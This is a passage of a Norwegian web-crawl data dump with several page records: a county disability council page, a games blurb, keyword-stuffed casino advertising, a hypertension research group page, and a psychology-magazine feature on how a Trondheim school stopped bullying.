firstname.lastname@example.org.\n\n\u00a0\nKonferansen er den 19. og 20. august.\n\n## **Over 125 p\u00e5meldte\\!** \n\n## **Velkommen skal alle v\u00e6re\\!**\n\nHOLDNINGER ER N\u00d8KKELEN\\! - Programmet for landskonferanse for fylkesr\u00e5d for funksjonshemmede\nDet tas forbehold om endringer.\n\nUngdomsmedvirkning\n\nFylkesmannen i Nordland\u00a0jobber for \u00e5 f\u00e5 med ungdomsr\u00e5d som medvirkere. Det er laget en orientering sammen med ungdomsr\u00e5d i Helgeland som er levert r\u00e5dgiver. \n\nVidere har fylkesmann i sin oppf\u00f8lging av \"sjumilssteget\" og FN's barnekonvensjon bedt kommunene om \u00e5 kartlegge diverse forhold for barn og unge. Her er unders\u00f8kelsen. Det som er s\u00e6rlig viktig for funksjonshemmede er p\u00e5 s.9.\n\n\n\n\u00c5rsmelding for R\u00e5det for likestilling av funksjonshemmede for 2014\n\n\u00c5rsmelding til R\u00e5det for likestilling av funksjonshemmede 2014 (PDF, 2 MB)\u00a0ble behandlet og godkjent i Fylkestinget i g\u00e5r den 21. april 2015.\u00a0Hvis du ikke kan lese PDF filer, ta kontakt med Nick Williams\u00a0for \u00e5 avtale hvordan vi kan gj\u00f8re \u00e5rsmelding tilgjengelig for deg.\n\nBildet p\u00e5 forsiden viser St\u00e5le Normann i sin rullestol i rikssalen p\u00e5 Eidsvollsbygningen. Vi h\u00e5per at dette betyr at flere vil kunne oppleve flere av v\u00e5re nasjonale kulturskatter. At Nidarosdomen har fulgt eksemplet understreker dette.\n\n\u00a0\nUniversell utforming i S\u00f8rfold kommune\n\nVi har mottatt\u00a0S\u00f8rfold kommune sin plan for universell utforming som vi legger ut her\u00a0 (DOC, 121 kB)til inspirasjon og ideer\\! Gratulerer til S\u00f8rfold og lykke til\\!\u00a0\n\nGenerasjonskonferansen 2015\n\nKj\u00e6re delegater til Generasjonskonferanse\\!\n\nHer finner dere presentasjonene og lenker\\!\u00a0\n\nTusen takk for deres kreativitet, engasjement og gode hum\u00f8r. Lykke til med utvikling av frivillieheta i deres kommunale hverdag.\n\nR\u00e5det for likestilling av funksjonshemmede, Fylkeseldrer\u00e5det og Ungdommens fylkesting\u00a0\u00f8nsker \u00e5 evaluere \u00e5rets konferanse og vi kommer til \u00e5 sende et sp\u00f8rreskjema til deres epost adresse. Vi ber veldig pent om at dere fylle ut skjemaet. Resultatene og forslag som kommer frem vil bli tatt med i vurderingen av hvilke tilbud fylkets medvirkningsorganene \u00f8nsker \u00e5 tilby i fremtiden.\n\n", "language": "no", "__index_level_0__": "681d80fe-688f-44aa-8718-e5cbe4ace6fd"}
{"url": "http://www.defouland.com/nor/helikopter/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:17:03Z", "text": "\n\n# Helikopter Games\n\nS\u00f8k i denne kategorien alle spill helikopter Defouland. Spillene dekke alle helikopter spill der spilleren styrer et helikopter av h\u00e6ren. Utstyrt med maskingev\u00e6r og raketter, er m\u00e5let \u00e5 n\u00f8ytralisere den strategiske punkter p\u00e5 fiendens base og noen ganger til \u00e5 gjenopprette tapte soldater. Ha en god flytur\\!\n\n", "language": "no", "__index_level_0__": "b47d633e-c255-40df-8599-f7db1ae3dc08"}
{"url": "http://mangabrazin.info/gaminator-novomatik/402", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:37:49Z", "text": "# Spille gratis online spill\n\nDenne historien er forresten underholdende nok i seg selv, og er spille gratis online spill noe vi virkelig kan anbefale deg \u00e5 roulette spillesystem lese. Automaten har flere gode funksjoner og her det dukket for ekte helteaction\\!. Her er det med andre ord duket for at hvem **spille gratis online spill** som helst kan ha det morsomt uten at man trenger \u00e5 tenke p\u00e5 tykkelsen p\u00e5 lommeboka. Beowulf lar man norsk casino gratis ikke spillerne vinne et bestemt antall runder basert p\u00e5 antall scattere, men her er det det inkluderte bonusspillet som bestemmer hvor lenge gratisrundene skal p\u00e5g\u00e5. En spilleautomat basert p\u00e5 sagnkongen spille gratis online spill Beowulf\\!. Beowulf er den fantastiske historien om den svenske sagnkongen som reddet danskene fra to grufulle monstre, og i spilleautomaten Beowulf har Quickspin gjort en storartet jobb, enda en gang, med sin tolkning av en klassisk historie\\!. Sjekk ogs\u00e5 ut eventyret Big Bad Wolf og historien om Rapunzel\\!.\n\n\u00a0\n## Spilleautomater Kopervik\n\nNoe som er enda viktigere er at det e flott navigasjon, kjapp innlastingstid og alle seksjonene er veldig brukervennlige og veldesignet. Ikke bare er mobilplattformen fantastisk, men Leo Vegas gir mobilspillerne sine mange forskjellige kampanjer, fordi spillere alltid vil f\u00e5 litt ekstra ved \u00e5 spille mobil. Om vi hadde f\u00e5tt informasjon per seksjon, s\u00e5 hadde det v\u00e6rt fint. Om det haster, s\u00e5 er det alltid bedre \u00e5 velge live chat. Hos Leo Vegas er kanskje valget enda st\u00f8rre enn det. Kampanjene starter som regel aldri p\u00e5 starten eller slutten av m\u00e5neden, men times heller med NetEnt sine nye utslippelser, noe som betyr at kampanjene gjelder utslippelsen pluss noen andre spillautomater. Sportssiden styrkes av industrilederen Kambi, og ble jobbet p\u00e5 lenge f\u00f8r de lanserte.\n\n## Spilleautomat Beetle Frenzy\n\nH\u00f8yteknologiske nyvinninger sikrer blackjack online real money ogs\u00e5 at spillet er spille gratis online spill rettferdig. Det kan v\u00e6re vanskelig \u00e5 finne bonuser og kampanjetilbud f\u00f8r du har blitt kjent med kasinoet. Videopoker kan ha opptil 10 hands i spill i slengen og har en rekke variasjonsmuligheter. Moroa begynner med et spennende spille gratis online spill utvalg av kasinospill. N\u00e5 f\u00e5r du ogs\u00e5 muligheten til \u00e5 f\u00e5 gratisspinn p\u00e5 utvalgte automater. Nye spillere f\u00e5r en bonus p\u00e5 deres f\u00f8rste innskudd, og den blir lagt til spillerens konto. Det er n\u00e5 lett \u00e5 spille gratis online spill ha oversikt over bonusene n\u00e5r du er i gang. Arkadespill tilbyr et live hestel\u00f8p med livlig grafikk og animasjoner og karnevalfavoritten Shoot 4 Gold med gule badeender. Men der slutter ogs\u00e5 ulempen.\n\n  mystery reels    Spilleautomat Beetle Frenzy  Spill  Nordicbet casino \n\nDe aller fleste betalingsmuligheter er tilgjengelig for norske spillere, inkludert VISAkort. Guts er registrert i EU og har dermed h\u00f8ye standarder. De mest popul\u00e6re er Neteller og Skrill der overf\u00f8ringen skjer umiddelbart og er gratis. Spilleautomater er styrken deres og de har noe av det st\u00f8rste utvalget vi noen sinne har sett. Ved \u00e5 registrere deg som spiller hos Guts f\u00e5r du 10 gratisrunder p\u00e5 spilleautomaten Piggy Riches, helt uten innskudd. F\u00f8lg med p\u00e5 hjemmesiden til Guts.\n\n\n\n## Norske spill p\u00e5 nett\n\nOgs\u00e5 disse 200 freespinsene *spille gratis online spill* prime casino code p\u00e5 publikumsfavoritten Starburst. Ogs\u00e5 her toppes bonuspengene opp med freespins p\u00e5 Starburst. Etter innskuddet spille gratis online spill vil du ogs\u00e5 f\u00e5 de 100 freespinsene inn p\u00e5 din spillerkonto. Oktober f\u00e5r du ett fotball oddsen lodd til den andre trekningen av 25. Fastbet kom p\u00e5 markedet i 2016 og hadde allerede ved lansering forst\u00e5tt hvor viktig det var med live casino, en stor sportsbook og selvf\u00f8lgelig et spille gratis online spill stort og bredt utvalg av spilleautomater. Fastbet casino p\u00e5 nett leverer det vi omtaler som et komplett casino. Visa, Mastercard, Skrill, Neteller, Paysafecard og Zimpler til alle dine behov.\n\nDu kan bare vinne p\u00e5 kombinasjoner fra venstre mot h\u00f8yre. To nye spredere gir 3 ekstra gratisspinn, og fire nye spredere gir 15 nye gratisspinn. Wildsymbolene i dette spillet er diskodansere. Myntverdiene du kan velge er 1 cent, 2, cent, 5 cent, 10 cent, 20 cent, 50 cent og 1 Euro. Her kan du oppleve stemningen fra diskoens glansdager.\n\n## Best us casinos online\\!\n\n## Norge spill casino\n\nHvis du f\u00e5r flere av samme symbolet *p\u00e5 spille gratis online spill omspinnet* vil ogs\u00e5 det symbolet bli lagt til og du vinner enda et spinn gratis bingo online. De mest verdifulle symbolene er bilder av hovedfigurene i historien, Jack Hammer, Pearl, Don Crabby og skurkene hans. Hvis du er p\u00e5 fartenja eller tilkoblingen er litt svak, kan du senke kvaliteten p\u00e5 grafikken for spille gratis online spill \u00e5 minske datamengden som m\u00e5 overf\u00f8res. Det gir deg mange muligheter, slik som \u00e5 justere innsatsniv\u00e5et ditt mellom 1 og 10, uten at skjermen blir overfylt.\n\n\u00a0\n", "language": "no", "__index_level_0__": "f7334f8e-31ef-49d9-bbff-db9d4db7d562"}
{"url": "http://www.med.uio.no/imb/forskning/grupper/hypertensjon/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:12:14Z", "text": "# Hypertensjon\n\nDen hyppigste \u00e5rsaken til utvikling av hypertensjon, h\u00f8yt blodtrykk, er hyperaktivitet i\u00a0det sympatiske nervesystemet. Gjennom fors\u00f8k p\u00e5 rotter som spontant uvikler samme type sykdom, arbeider vi med \u00e5 forst\u00e5 \u00e5rsaken til disse forandringene.\n\n\n\nIllustrajonsfoto: Colourbox.no\nLes mer p\u00e5 de engelske sidene til forskergruppe for hypertensjon.\n\nPublisert 29. nov. 2011 12:11  - Sist endret 2. jan. 2015 14:53\n", "language": "no", "__index_level_0__": "fbaf04d4-bc8c-46f0-a45d-ca7058d6f721"}
{"url": "http://www.psykologtidsskriftet.no/?seks_id=321642&a=3", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:16:25Z", "text": "# Smerten etterp\u00e5\n\nTekst : Nina Strand\n\nFoto: Lena Knutli\n\nHvordan greide en skole i Trondheim \u00e5 stoppe mobbingen? Og hvordan hindre at barn g\u00e5r med kronisk alarmtilstand i kropp og sjel, selv etter at mobbingen tar slutt?\n\n# Smerten etterp\u00e5\n\nHvordan greide en skole i Trondheim \u00e5 stoppe mobbingen? Og hvordan hindre at barn g\u00e5r med kronisk alarmtilstand i kropp og sjel, selv etter at mobbingen tar slutt?\n\n\n\nSNART P\u00c5 HJEMVEI: Elever i 9. klasse ved Sunnland ungdomsskole i Trondheim sl\u00e5r av en prat med vennene f\u00f8r de drar hjem. Men for mobbeutsatte elever, er skoleveien noe av det skumleste.\n\nVi st\u00e5r i en skoleg\u00e5rd i Trondheim, fotografen og jeg. Det er dagens siste friminutt p\u00e5 Sunnland ungdomsskole, og det syder. Ungdommer samler seg i sm\u00e5 og store grupper, noen sm\u00e5l\u00f8per, andre st\u00e5r helt stille, fordypet i mobiltelefonen eller lesende p\u00e5 notater, kanskje til pr\u00f8ven i neste time. Vi lytter til suset av unge stemmer avbrutt av skarpe utrop og latter fra gutter som knuffer og dytter hverandre vennskapelig. Eller? Er det konflikter p\u00e5 gang? Skjuler de muntre stemmene en styggere virkelighet, kanskje at en av dem blir plaget av dem som st\u00e5r rundt? Hvordan skulle vi i tilfelle se det, med v\u00e5re amat\u00f8rblikk?\n\nVi sprikte i holdninger, reaksjoner og metoder. Vi trengte et felles fundament, og s\u00e5 at et antimobbeprogram var midt i blinken\n\nIngrid Kjelsberg, rektor ved Sunnland ungdomsskole\n\nFor vi vet det jo: Skoleg\u00e5rden, det som skulle v\u00e6re elevenes fristed, pusterommet og arenaen for lek og vennskapelig samv\u00e6r, er for noen elever det mest utrygge stedet p\u00e5 skolen. Mens l\u00e6rerne f\u00e5r ned pulsen p\u00e5 sofaen i l\u00e6rerv\u00e6relset, g\u00e5r noen elever med bankende hjerte ut av klasserommet, engstelige for hva som venter av trakassering og mobbing. Friminuttet oppleves som alt annet enn fritt uten myndige voksne som tar ansvar.\n\n## Mann med gul vest\n\nLoven legger ansvar p\u00e5 kommunene for \u00e5 beskytte elever mot mobbing. I februar i \u00e5r ble S\u00f8gne kommune d\u00f8mt til \u00e5 betale 650 000 kroner i en erstatning til en ung mann utsatt for \u00e5relang mobbing. Sentralt i begrunnelsen var oppl\u00e6ringslovens paragraf 9a, som sier at alle elever har rett til et trygt og godt l\u00e6ringsmilj\u00f8. Som 14-\u00e5ring hadde gutten fra S\u00f8gne v\u00e6rt p\u00e5 selvmordets rand. Begge de sakkyndige psykiaterne konkluderte if\u00f8lge NRK med at han har en varig invalididet som f\u00f8lger av mobbingen han ble utsatt for.\n\nPsykologtidsskriftet ba om \u00e5 f\u00e5 komme til Sunnland ungdomsskole fordi vi vet at skolen har stort trykk p\u00e5 forebygging og h\u00e5ndtering av mobbing og atferdsvansker. Men ogs\u00e5 fordi skolen har en dramatisk mobbehistorie bak seg, der ledelsen og l\u00e6rerne ble satt p\u00e5 hard pr\u00f8ve og valgte t\u00f8ffe virkemidler for \u00e5 f\u00e5 slutt p\u00e5 mobbingen.\n\nEn mann i neongul refleksvest dukker opp i skoleg\u00e5rden. \u00abRespekt\u00bb, st\u00e5r det p\u00e5 vesten. En l\u00e6rer? Nei, en barne- og ungdomsarbeider, viser det seg, som har i oppdrag \u00e5 mingle blant elevene. V\u00e6re der de er, snakke med dem, synlig og tilgjengelig og med skarpt blikk, fange opp det som skjer. N\u00e5 geleider han oss inn til rektor Ingrid Kjelsberg og fagleder Robert Flataas, som venter p\u00e5 rektors kontor;\n\nSunnland er en av ca. 20 skoler i Trondheim som bruker det forebyggende programmet Respekt, mens om lag ti skoler bruker et tilsvarende program, LP-modellen, der forbokstavene st\u00e5r for l\u00e6ringsmilj\u00f8 og pedagogisk analyse. Det er fem \u00e5r siden skolen valgte \u00e5 bli en \u00abRespekt-skole\u00bb, forteller rektor.\n\n\u2013 P\u00e5 den tiden hadde vi en elevgruppe som var ganske r\u00f8ff og krevende. Det var mye atferdsproblemer, og vi voksne sprang mye. Det ble klart for oss at vi l\u00e6rere reagerte ulikt, vi sprikte i holdninger, reaksjoner og metoder. Vi trengte et felles fundament, og s\u00e5 at et antimobbeprogram var midt i blinken.\n\n## Den store styrkepr\u00f8ven\n\nEn tid senere kom den store styrkepr\u00f8ven, som gjorde at de ansatte til slutt valgte \u00e5 ta i bruk sterkere metoder enn noen gang tidligere. Historien som n\u00e5 f\u00f8lger \u2013 om den store styrkepr\u00f8ven og om D-dagen \u2013 er noe endret, slik at ingen involverte skal bli identifisert. Det var en mobbesak som hadde g\u00e5tt i flere \u00e5r. De hadde en elev med en alvorlig mobbehistorie fra barneskolen. Det hadde foreldrene gitt beskjed om da han begynte p\u00e5 Sunnland. Ledelsen hadde f\u00e5tt inntrykk av at dette n\u00e5 var et avsluttet kapittel. Men etter hvert var gutten stadig innblandet i det skolen f\u00f8rst oppfattet som konflikter mellom likeverdige elever. I virkeligheten var det fortsettelsen av mobbingen fra barneskolen. Han var utsatt for nettmobbing, og noen hadde kastet stein p\u00e5 vinduene hjemme, blant annet.\n\n\u2013 Vi var en skole med stor bevissthet om slike problemer, og pr\u00f8vde ut mye av det vi hadde l\u00e6rt gjennom kurs og veiledning, forteller rektor.\n\n\n\nINNENFOR\u2013UTENFOR 1: En god relasjon mellom l\u00e6rer og elev bidrar til at elevene snakker med l\u00e6rerne og varsler om eventuell mobbing, mener de p\u00e5 Sunnland ungdomsskole i Trondheim. L\u00e6rer Jarle Rot\u00e5s tar seg tid til en prat med elever p\u00e5 9. trinn.\n\nDe visste at minst ti gutter var involvert. De hadde dem under oppsikt, snakket med dem enkeltvis og i grupper. L\u00e6rerne f\u00f8rte logger fra inspeksjonene i friminuttene, intervjuet elevene om skoleveien, snakket med involverte. Det ble holdt m\u00f8ter med foreldrene til den utsatte gutten, og forebyggende enhet i politiet ble involvert. De fors\u00f8kte \u00e5 alliere seg med fotballmilj\u00f8et gutten var i, men han sluttet med fotball, s\u00e5 den muligheten forsvant. De pr\u00f8vde \u00e5 skjerme den utsatte gutten p\u00e5 ulike m\u00e5ter, og han fikk v\u00e6re i gymsalen med venner i friminuttene.\n\nMen mobbingen fortsetter. Gutten lider. Foreldrene fortviler og er sinte p\u00e5 skolen. N\u00e5 klager de til Fylkesmannen, og f\u00e5r medhold i at skolen har brutt oppl\u00e6ringslovens paragraf 9a. Ledelsen blir klar over at skolen er kommet til et punkt hvor de m\u00e5 finne helt nye vinklinger og redskaper. Mobbingen m\u00e5 stoppes. De innser at dette klarer de ikke alene, de m\u00e5 hente hjelp utenfra.\n\nDa ledelsen samles etter sommerferien, bestemmer de seg for \u00e5 ta kontakt med Erlend Moen i kommunens skoleteam for r\u00e5d om takling av mobberne. Moen er ansatt i Trondheim kommune for \u00e5 lede arbeidet mot mobbing i trondheimskolen, og for \u00e5 veilede 52 skoler i arbeidet med atferdsvansker og mobbing blant elevene. Han blir en nyttig samtalepartner i ukene fremover. Og tilfeldigvis er Erling Roland fra L\u00e6ringsmilj\u00f8senteret i Stavanger i byen akkurat da. Ham kjenner de fra da skolen ble kurset i skoleutviklingsprogrammet Respekt, s\u00e5 skolen tar kontakt. Kunne de f\u00e5 en prat? Ja, svarer Roland.\n\n\u2013 Hadde jeg ikke f\u00e5tt den samtalen, vet jeg ikke om vi ville ha lyktes slik vi gjorde, sier faglederen. Roland forst\u00e5r den alvorlige situasjonen skolen er i, og r\u00e5der til \u00e5 bruke sterk lut. Skolen f\u00e5r detaljerte r\u00e5d om valg av tid, sted, og fremgangsm\u00e5te. Ledelsen l\u00e6rer at ferier gir et vindu for handling. For etter ferier oppst\u00e5r et maktvakuum: N\u00e5 m\u00e5 mobberne re-etablere sin status, skaffe seg allierte og finne sine ofre. Det blir bestemt at f\u00f8rste skoledag etter sommerferien skal bli starten p\u00e5 en effektiv og m\u00e5lrettet aksjon mot mobberne.\n\n## D-dagen\n\nTo dager f\u00f8r skolestart m\u00f8ter l\u00e6rerne til planlegging av skole\u00e5ret. De blir presentert for et detaljert opplegg. Med rektor og fagleder i spissen forbereder trinnl\u00e6rerne seg mentalt og praktisk p\u00e5 en l\u00f8ype med mange ukjente hindre og veivalg.\n\n\u2013 Vi gjennomgikk opplegget gjennom \u00abwalk through \u2013 talk through\u00bb, slik for eksempel alpinister gj\u00f8r n\u00e5r de forbereder seg p\u00e5 hver enkelt sving og utfordring i bakken, og tenker seg ulike alternativer, sier Flataas.\n\n\n\nINNENFOR\u2013UTENFOR 2: Morten Stavensli \u00f8ver sammen med klassekamerater p\u00e5 \u00e5 skrive jobbs\u00f8knad. Arbeidsform velger de selv, og om de vil jobbe sammen eller alene. En utfordrende situasjon hvis ingen vil samarbeide med deg.\n\nF\u00f8rste skoledag str\u00f8mmer elevene inn i skoleg\u00e5rden p\u00e5 Sunnland. Fagleder Robert Flataas st\u00e5r klar p\u00e5 skoletrappa. Han er spent. De aktuelle l\u00e6rerne er godt forberedt, og topp motivert. Men utfordringene kan bli store, det er en uoversiktlig situasjon. Da Flataas senere holdt foredrag om dette p\u00e5 Lerkendalseminaret i Trondheim, et \u00e5rlig m\u00f8te som fokuserer p\u00e5 mobbing og atferdsvansker i skolen, kalte han f\u00f8rste skoledag for D-dagen.\n\n*\u2013 En krigsmetafor fra 2. verdenskrig. Sammenligner du kampen mot mobbing med krig*?\n\n\u2013 Nei. Parallellen ligger i den nitide planleggingen, det \u00e5 ta h\u00f8yde for at ting kan utvikle seg helt annerledes enn du har tenkt, og at du har tenkt igjennom hva som da m\u00e5 gj\u00f8res.\n\n*\u2013 S\u00e5 dere hadde en plan B*?\n\n\u2013 Ikke bare en plan B, men ogs\u00e5 plan C, D, E, F og G, smiler Flataas.\n\nSom tidligere offiser i Forsvaret var det naturlig for Flataas \u00e5 ta i bruk ledererfaring derifra i i planleggingen av den helt spesielle skolestarten.\n\n\u2013 Det gjelder \u00e5 samle seg om en felles visjon, ett sluttbilde som viser hvor en vil, og hvordan situasjonen skal v\u00e6re da, forteller faglederen. Skolen ville ha en \u00f8yeblikkelig slutt p\u00e5 mobbingen, men de ville samtidig ivareta mobberne som del av fellesskapet. S\u00e5 jobbet de med \u00e5 lage klare delm\u00e5l: Hva er m\u00e5let etter f\u00f8rste time? F\u00f8rste dag? F\u00f8rste uke? Og s\u00e5 videre. Men innenfor de rammene m\u00e5tte hver l\u00e6rer ha frihet og rom for \u00e5 gj\u00f8re sine egne vurderinger, l\u00f8se utfordringer slik han eller hun mente var riktig.\n\nEtter n\u00f8ye unders\u00f8kelser visste ledelsen n\u00e5 at mobberne besto at 16 gutter med en kjerne p\u00e5 tre. Blant de tre var en leder, av hensyn til anonymiseringen kalt \u00abkongen \u00bb. Og det er nettopp for umiddelbart \u00e5 gripe tak i ham, at fagleder Flataas venter p\u00e5 trappa f\u00f8rste skoledag. Idet gutten dukker opp i skoleg\u00e5rden, f\u00f8r han rekker \u00e5 ta kontakt med andre, blir han bedt om \u00e5 f\u00f8lge med p\u00e5 faglederens kontor. Ikke for \u00e5 ha en samtale, som s\u00e5 mange ganger tidligere, men for \u00e5 motta en kraftfull beskjed:\n\n\u2013 Han ble forklart om mobbetrappen, som trinn for trinn beskriver konsekvensene for dem som mobber, sier Flataas. F\u00f8rste trinn er at foreldrene ringes opp. De blir bedt om \u00e5 hente eleven p\u00e5 skolen samme dag. N\u00e5r foreldrene kommer til skolen, har de ogs\u00e5 samtale med trinnleder eller fagleder. Hjelper ikke det, er andre trinn i mobbetrappa at eleven flyttes ned eller opp et trinn, og f\u00e5r tilpasset undervisning der. Tiltaket evalueres etter en m\u00e5ned. Hjelper ikke det heller, m\u00e5 mobberen flytte til en annen skole. Det er et vedtak som m\u00e5 gj\u00f8res av oppvekstkontoret i kommunen.\n\nEtter m\u00f8tet med \u00abkongen\u00bb, henter Flataas de to andre hovedmobberne fra klasserommet, f\u00f8rst den ene og s\u00e5 den andre. De skal ikke f\u00e5 snakke sammen. De f\u00e5r samme beskjed. Deretter g\u00e5r faglederen inn i alle klasserom; snakker med elevene om hva som har skjedd, og forteller om mobbetrappa.\n\n## Sterkere enn gevinsten ved \u00e5 mobbe\n\n*\u2013 Kraftige tiltak. Var det ingen av l\u00e6rerne som protesterte*?\n\n\u2013 Nei. Vi hadde ikke gjort dette hvis vi ikke var enige, svarer faglederen.\n\n*\u2013 Hvilke reaksjoner f\u00e5r dere fra andre l\u00e6rere n\u00e5r dere presenterer denne fremgangsm\u00e5ten*?\n\n\u2013 Noen synes det er dramatisk. Men tanken er at mobbingen skal koste mer enn den smaker. N\u00e5r jeg m\u00f8ter innvendinger fra l\u00e6rere p\u00e5 andre skoler, pleier jeg \u00e5 sp\u00f8rre dem om tiltakene de bruker i dag fungerer. Hvis svaret er nei, m\u00e5 de jo gj\u00f8re noe nytt. Mobbing er overgrep, det nytter ikke alltid bare med prat. Vi hadde pr\u00f8vd mye, men det fungerte ikke. Da var det p\u00e5 med st\u00e5lhanskene, vi m\u00e5tte vise at vi mente noe, at overgrepene m\u00e5tte slutte. En m\u00e5 bruke den kraften som trengs for \u00e5 f\u00e5 slutt p\u00e5 det.\n\nMobbingen stoppet. Og p\u00e5 slutten av skole\u00e5ret fikk ledelsen takk fra overraskende hold.\n\n## Villedende mobbetall\n\n\u00abUnder tre prosent av mobbingen oppdages, \u00bb rapporterte NRK Buskerud 25. september i fjor. Bakgrunnen var en unders\u00f8kelse i Ringerike kommune, som viste at bare et lite antall barn som rapporterte at de var blitt mobbet, ble oppdaget. Skolenes rutiner for \u00e5 avdekke mobbing er \u00e5penbart mangelfulle, kommenterte dav\u00e6rende kommunepsykolog Ingrid S\u00f8nsteb\u00f8, som mente at de lave tallene ikke var unike for Ringerike kommune.\n\nMobbing er overgrep, det nytter ikke alltid bare med prat\n\nRobert Flataas, fagleder ved Sunnland ungdomsskole\n\nI den \u00e5rlige Elevunders\u00f8kelsen svarer om lag 7 prosent av elevene at de blir mobbet mellom to og tre ganger i m\u00e5neden. Kan vi stole p\u00e5 disse tallene? F\u00f8r intervjuavtalen p\u00e5 Sunnland bes\u00f8kte jeg skoleveileder Erlend Moen og kollegaen Geir Mosand p\u00e5 kontoret ved det sentrale skoleteamet i Trondheim. Her jobber \u00e5tte ansatte med \u00e5 veilede og kurse skoleledere og l\u00e6rere, og de mest utfordrende mobbesakene vil ofte havne hos dem. Moen setter sp\u00f8rsm\u00e5lstegn ved tallene fra Elevunders\u00f8kelsen. Det er feilkilder b\u00e5de fordi elevene ikke svarer seri\u00f8st og overdriver, men ogs\u00e5 fordi de som virkelig blir mobbet, skammer seg over det, og ikke orker \u00e5 svare ja. Han erfarer at enkelte av de mest alvorlige mobbesakene har skjedd i klasser som ikke har rapportert om mobbing i det hele tatt.\n\n\u2013 Mobbing er skambelagt. Man skjuler det for seg selv og for andre.\n\nMoen er mer opptatt av at skolene han veileder blir flinkere og mer presise i sine henvendelser til kontoret hans, at l\u00e6rerne selv er bedre til \u00e5 oppdage mobbing.\n\n\n\nLEK ELLER ALVOR? En glad guttegjeng i skoleg\u00e5rden. Men det er ikke alltid lett for en inspiserende l\u00e6rer \u00e5 oppdage om noen utsettes for negative handlinger.\n\n\u2013 L\u00e6rerne tar i bruk verkt\u00f8y for \u00e5 avdekke mobbing, de er bedre til \u00e5 stoppe den og tar lettere kontakt med oss i skoleteamet n\u00e5 enn tidligere. *Det* er gode tall, sier han.\n\nDerfor henger han heller ikke med hodet over at antall saker som meldes inn til kontoret, stiger. Han mener \u00f8kningen gjenspeiler vissheten om at det nytter \u00e5 f\u00e5 bukt med overgrepene.\n\n\u2013 Vi f\u00e5r ofte sp\u00f8rsm\u00e5l om vi ser nedgang i mobbetallene. Nei, ikke n\u00f8dvendigvis. For det som tidligere opplevdes som umulige tilfeller, blir n\u00e5 definert og meldt inn til oss. Unders\u00f8ker man ogs\u00e5 under sofaen etter l\u00f8rdagsvasken, vil man ofte oppdage mer st\u00f8v. Det er her vi er i Trondheim n\u00e5.\n\n## \u2013 Vi har metodene\n\nDet g\u00e5r an \u00e5 stoppe mobbing. Ganske raskt ogs\u00e5, if\u00f8lge Moen og Mosand. Optimistisk? Ja, men f\u00f8rst og fremst realistisk, mener de. Det finnes gode metoder b\u00e5de for \u00e5 oppdage mobbing og for \u00e5 stoppe den.\n\nDet er opp til skolene \u00e5 l\u00e6re metodene, og ta dem i bruk. Skoleteamet har klokkertro p\u00e5 forskningsbaserte programmer, som Respekt, LP-modellen, Zero, Olweusprogrammet og Pals. Oversatt forskning, kaller de programmene, som virker n\u00e5r de brukes kontinuerlig og p\u00e5 riktig m\u00e5te.\n\n\u2013 Det finnes l\u00e6rere som ikke har mobbing i klassene sine. De har kompetanse i og interesse for l\u00e6ringsmilj\u00f8arbeid. Mobbing stopper hvis voksne vet hva en skal gj\u00f8re, sier Moen.\n\n\n\nALLTID P\u00c5 NETT: Berit Mogstad Loktu er livlig til stede med vennene i skoleg\u00e5rden og samtidig p\u00e5 nettet via telefonen. Slik kan en pleie vennskap, mens andre bruker muligheten til \u00e5 plage medelever uten \u00e5 bli sett av voksne.\n\nL\u00e6rere som ikke kjenner til mekanismene bak mobbing, kan bli lurt, mener de to pedagogene. Kanskje forst\u00e5r ikke l\u00e6rerne at klassens urokr\u00e5ke egentlig er et engstelig og stresset barn som gj\u00f8r kl\u00f8nete fors\u00f8k p\u00e5 \u00e5 f\u00e5 innpass hos de andre, eller reagerer n\u00e5r begeret blir fullt. Kanskje ser de ikke at det er en kultur i klassen som gir rom for plaging av andre, og at de som er ekstra s\u00e5rbare, lider mer enn andre under det. Kanskje overser de alvorlig mobbing, og lar v\u00e6re \u00e5 avdekke hva som egentlig skjer, slik at barn som har det vondt, men kunne v\u00e6rt hjulpet med enkle midler, hadde f\u00e5tt det bedre.\n\n## Rask hjelp\n\nMosand og Moen forklarer at skoleteamet f\u00f8rst og fremst skal v\u00e6re en st\u00f8tte for ledelsen ved skolen og for l\u00e6rerne. Akkurat n\u00e5 st\u00e5r de p\u00e5 farten til en skole som har bedt om veiledning for \u00e5 takle en gutt som strever. De voksne er uenige b\u00e5de om hva som er problemet, og hvordan barnet skal takles. Henvendelsen fra skolen kom i g\u00e5r. Dette er helt vanlig. Skoleteamet rykker ut p\u00e5 kort varsel til skoler som melder inn problemer.\n\nDe voksne har ofte sett at eleven blir holdt utenfor, uten \u00e5 sette inn tiltak. Det er p\u00e5 en m\u00e5te blitt en normaltilstand at eleven har g\u00e5tt rundt alene\n\nPsykolog Hilde Nordstrand, Risvollan helsestasjon, Trondheim\n\nS\u00e5 har de jevnlig kurs for l\u00e6rere. Blant temaene er forst\u00e5else og h\u00e5ndtering av sinte gutter, og barn som strever med tilh\u00f8righet fordi de har d\u00e5rlige strategier for sosialt samv\u00e6r. Ungdomsskolel\u00e6rerne \u00f8nsker hjelp til \u00e5 takle elever som trekker seg tilbake fra fellesskapet, og gjerne selv definerer seg som annerledes enn de andre.\n\n\u2013 De voksne tror at disse ungdommene ikke bryr seg. Men blir ungdommene m\u00f8tt p\u00e5 en ordentlig m\u00e5te, ser en ofte at motivasjonen kommer, forteller Moen.\n\nBarn som har mange d\u00e5rlige opplevelser, vil ofte feiltolke andre og er lette \u00e5 provosere, if\u00f8lge Mosand.\n\n\u2013 Det oppst\u00e5r en vond sirkel i samspillet med andre. Barn med en mer positiv minnebank vil ofte handle mer hensiktsmessig, ogs\u00e5 n\u00e5r de blir provosert, sier han.\n\nKollega Moen nikker enig. I kveld skal han holde et foredrag om mobbing for foreldrene p\u00e5 en av byens barneskoler, og vil gi r\u00e5d nettopp om hvordan foreldrene kan bidra positivt til barnas minnebank. Han vil forklare dem hvor viktige de som foreldre er for \u00e5 forebygge mobbing.\n\n## En serie av 